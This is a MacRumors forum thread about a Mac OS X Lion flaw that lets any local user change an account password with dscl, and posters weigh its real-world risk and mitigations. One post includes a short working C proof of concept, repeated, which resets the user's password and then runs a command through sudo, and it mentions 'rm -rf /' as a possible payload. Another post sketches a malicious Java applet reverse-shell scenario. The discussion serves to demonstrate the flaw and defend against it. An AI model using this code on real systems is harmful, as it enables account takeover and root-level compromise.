Source: Gizmodo
Link: http://gizmodo.com/5841922/mac-os-x...per+easy-to-hack-and-change-by-any-local-user
Link: http://gizmodo.com/5841922/mac-os-x...per+easy-to-hack-and-change-by-any-local-user
Got a tip for us?
Let us know
Become a MacRumors Supporter for $50/year with no ads, ability to filter front page stories, and private forums.
Mac OS X Lion Passwords Are Super-Easy to Hack (and Change) by Any Local User
- Thread starter Hyper-X
- Start date
- Sort by reaction score
Agree, is someone has physical access to the computer, password changing is the least my worries . . This is not unique to Macs. I could boot up a PC with a linux boot disk and grab data without worrying about any passwords. Some commercial Unix machines also have vulnerabilities given physical access.
Securing your system physically is part of system security.
Securing your system physically is part of system security.
It can be a serious issue for computers left in shared locations (e.g. dorms), and it defeats the purpose of setting up a guest account. Also, it might be easier for crafty children to circumvent parental controls. Apple needs to fix this. Increased security was a selling point of Lion.
Do you want to know how bad this is?
Almost everyone who owns a mac runs it as an administrator (it comes by default anyway). So, to those who think these security shortcomings aren't bad, please compile this C source code and run it, and keep in mind that anybody could write an app as simple as this one and persuade you to run it somewhat (like embedding it into an apparently useful app or by exploiting safari or a bug in the TIFF library, let's say). And remember: local doesn't mean physical.
instead of "id", COMMAND could have read "rm -rf /" and you would have lost all the contents of your drive, let's say.
*** WARNING *** after testing the app, remember that your password has been changed to "sucksman".
As a note, logging in as a standard user (not an administrator) would make it safer. You can even delete (or change the execution bit of) the 'dscl' command if you want, but it is not certainly the only way to access Directory Services, so it wouldn't defeat a malicious user.
Almost everyone who owns a mac runs it as an administrator (it comes by default anyway). So, to those who think these security shortcomings aren't bad, please compile this C source code and run it, and keep in mind that anybody could write an app as simple as this one and persuade you to run it somewhat (like embedding it into an apparently useful app or by exploiting safari or a bug in the TIFF library, let's say). And remember: local doesn't mean physical.
Code:
#include <stdlib.h>
#include <stdio.h>
#define PASSWORD "sucksman"
#define COMMAND "id"
int main(int argc, const char * const argv[]) {
char *user=getenv("USER");
char buf[256];
sprintf(buf, "dscl localhost -passwd /Search/Users/%s " PASSWORD, user);
system(buf);
system("echo " PASSWORD " | sudo -S " COMMAND);
return 0;
}instead of "id", COMMAND could have read "rm -rf /" and you would have lost all the contents of your drive, let's say.
*** WARNING *** after testing the app, remember that your password has been changed to "sucksman".
As a note, logging in as a standard user (not an administrator) would make it safer. You can even delete (or change the execution bit of) the 'dscl' command if you want, but it is not certainly the only way to access Directory Services, so it wouldn't defeat a malicious user.
Last edited:
Given the increases in runtime security mitigations in Lion, it is impossible that this type of payload could be effectively implemented via client side app exploitation because methods to bypass these mitigations have not yet been developed for Lion.
The likelihood is even less likely for apps that are sandboxed, such as Safari. So, this is not going to be leveraged by a browser exploit.
Social engineering using a Trojan is a possibility. But, this is always a possibilty given that the method relies on user error.
To avoid this threat if it does manifest in malware in the wild, follow the tips (focus on #8, #9, and #14) in the "Mac Security Suggestions" link in my sig.
They fixed that issue too (granted, only on the newer machines). IIRC, on any machine from 2010 and newer, that trick doesn't work anymore. Now, to reset a firmware password, an Authorized Apple Service Center has to send a special code to Apple Service, who will then email them back a dmg that they have to burn to a disk and boot from, which will work only once to reset the firmware password on that specific computer. That disk will not work on any other computer, or a second time on that same computer.
I don't know how they did that exactly, but that's the process they told us we would have to use (I work for an Apple Specialist). Haven't had to do it yet, because we haven't seen any of those models come in with a firmware password we didn't have, but the RAM removal technique no longer works to reset the password.
jW
I could be wrong, as I haven't researched it in depth or tested it, but preliminary searching suggests that may only apply to MacBook Airs and not other Mac models.
http://support.apple.com/kb/ht1352
http://support.apple.com/kb/TS2391
No physical access required
Defence in Depth provides a scenario where this attack could be used:
A user with administrative rights is browsing the internet with Safari. The user happens to browse to a website hosting a malicious Java Applet. Unbeknownst to the user, they allow the innocent looking Java Applet to run. The Applet will proceed to make a connection back to the attacker, providing the attacker with full shell access. Whilst the attacker has access to the system, they are provided only with limited user privileges (they still do not have root access). This would limit what an attacker could accomplish. However, with the vulnerabilities described above the attacker now has an advantage: they can change the password of the current user. Now remember, the current user is an administrator. So now all the attacker has to do is sudo -s to become root. If lets say the victim did not have administrative rights, the attacker still has the ability to extract user hashes from the system and attempt to crack them.
What I'd like to know is what are the real-world impact this will have, for example for a consumer (home user), a student using their institution's network, a business on their corporate network/intranet. How often could this problem with Lion be exploited by an "average" user?
I'd like to suggest that we move away from comments pointing to the user being the reason why their Mac(s) are exploited since that issue is always going to exist, whether it's Windows 10 or OS XV, it really doesn't matter if you think about it. Complacent/careless users will always outnumber those who take the time to educate themselves about safer computing habits.
I'd like to suggest that we move away from comments pointing to the user being the reason why their Mac(s) are exploited since that issue is always going to exist, whether it's Windows 10 or OS XV, it really doesn't matter if you think about it. Complacent/careless users will always outnumber those who take the time to educate themselves about safer computing habits.
Prompts have to be authenticated prior to the Java Applet being run.
I don't believe the username and password have to be entered.
But, the user has to accept the self-signed certificate via prompts prior to the applet being allowed to execute.
Java Applets use Java in the browser to initiate being downloaded.
So, downloading of malicious Java Applets can be mitigated via disabling Java in the browser.
But, these barriers to exploiting this issue don't justify the issue being present.
Users on their personal machines would be liable to Trojans, such as the Java Applet example shown above, given that these users often run as admins.
Users on public machines that are part of a network are not admins so it only allows the attacker to change the currently logged in local user account password.
The attack would require a trojan as described above unless the attacker had physical access to the system while the target is logged in.
So, this vulnerability can't be leverage for system level access in these networks. It would allow the logged in users data files to be compromised.
But, if the attacker has physical access while the target is logged in then the user's data is already compromised without requiring the use of this vulnerability.
Writing a Java Applet is not typically a skill of the average user.
Last edited:
I'll be sure to let my Java Level 1 programming students at the college I teach at know that they are above average.
Compared to the average computer user, they are above average. How many programming students are in your college? In all colleges on Earth? Now compare that number to the number of computer users. The percentage of computer users who can write programs is infinitesimally miniscule. Pretty small, too!
Obviously, they are above average in knowledge in relation to computer programming.
Do most computer users take "Java Level 1 programming" at a post secondary institution?
Obviously, no.
In the immediate term, not easily. However, in time if the issue isn't addressed, someone with some time on their hands and the requisite skill could conceivably put together a hacker's toolkit of sorts that could let "average people" deploy it to their advantage, and to your disadvantage. that's how the "script kiddie" was born.
This is why it's imperative that Apple fix the problem, which I'm confident they will relatively soon.
That's why I went out and invested in some real security. Now I can leave my Mac in a shared location without any worries whatsoever, and I don't have to wait for Apple to patch this vulnerability (or even future cases that might crop up).
It's called my mitts.
It's called my mitts.
A trojan will always have the potential to trick users into doing something they shouldn't but that's not unique to this problem with Lion.
I guess what I wanted to ask was what new issues and problems would home-users face as a result of this specific vulnerability?
For example would this problem make it easier for an unauthorized person to gain access to the compromised machine's files, emails, stored passwords in their browsers, etc. If so how much easier...
Sounds like systems using Lion could be subjected to not only have data copied from it, data could also be written to it without the user being aware. So if I have direct access to a Lion computer as a result of exploiting this vulnerability, technically I could authorize all kinds of malicious apps to be installed with root privs.
Here's where I'm not 100% clear about. The Lion vulnerability to my understanding can be exploited as long as a user has "local" access. Unless the article is written incorrectly, my understanding is that "local" access does not need "direct, physical" access. If that's true, then a trojan would not be the only way to compromise the system, would it not?
For users running as admins, this vulnerability would provide complete system level access without the user having to enter their username and password.
Specifically, the attacker could change the admins password to something that the attacker would know. Then the attacker would be able to authenticate the installation of more serious and concealed malware at the system level (root) of Mac OS X.
The only caveat of this method is that the user would not know the password set by the attacker and, therefore, would become aware of the attack when they would no longer be able to authenticate changes or log into their own account.
Data that is not protected by DAC can always be read and written (copying is a read/write type operation) without the user being aware on any OS.
Only if the currently logged in user when the trojan was executed or the attacker had physical access was an admin.
This vulnerability only can be leveraged for privilege escalation in admin accounts.
This vulnerability could be very damaging if leveraged by malware under the right circumstances.
It could have been easily avoided as well given that it is due to a permissions error, which is easily fixed but also easily avoided, and not due to some vulnerability in code that is much more difficult to fix.
To achieve local access without direct physical access requires establishing a remote shell with the target computer.
Establishing a remote shell requires client-side exploitation or tricking the user to execute a trojan.
A trojan is the only relevant method to get local access to use this vulnerability from a remote location.
Client-side exploitation has already been eliminated as a possibility given that methods to do so are currently unknown for Lion given the recent improvements in runtime security mitigations with the release of Lion.
Using Linux distros with similar runtime security mitigations as Lion for a model, client-side exploitation is incredibly difficult without some pre-established local access. Of course, this is self defeating if the goal of the exploitation is to achieve that local access in the first place.
See the paper linked below about bypassing the runtime security mitigations in Linux for more details.
http://www.blackhat.com/presentatio...Europe-2009-Fritsch-Bypassing-aslr-slides.pdf
The author only manages to do so while already having local access to the OS.
Last edited:
In terms of exposure of more sensitive data, all data protected via the compromised users' "login" keychain would be accessible to the attacker. This applies to all account types.
This is because the "login" keychain's password is typically the same as the account password.
Items in non-default keychains that don't use the same password as the account password are not vulnerable.
This type of vulnerability is the reason that I recommend moving security sensitive items to a separate keychain with a different password than the account password.
Also, password protected encrypted sparse bundle disk images wouldn't be compromised if the keychain entries for the disk images are stored in the more secure non-default keychain.
Email accessed via the Mail.app can be secured in a similar manner to disk images as well.
See #2, #17, & #18 in the "Mac Security Suggestions" link in my sig for more details.
See my post above yours.
That provides details to secure data even if the attacker has physical access.
The only method to access the data secured in the manner described in the post is to brute force past the encryption.
If a secure password is used, the time required to brute force is too long to be feasible.
This includes trying to scrape the encryption keys from ram given that the keys are likely to be written over once the items are no longer in use.
True.
Still, I always try to inform users, especially with laptops, simply to be aware.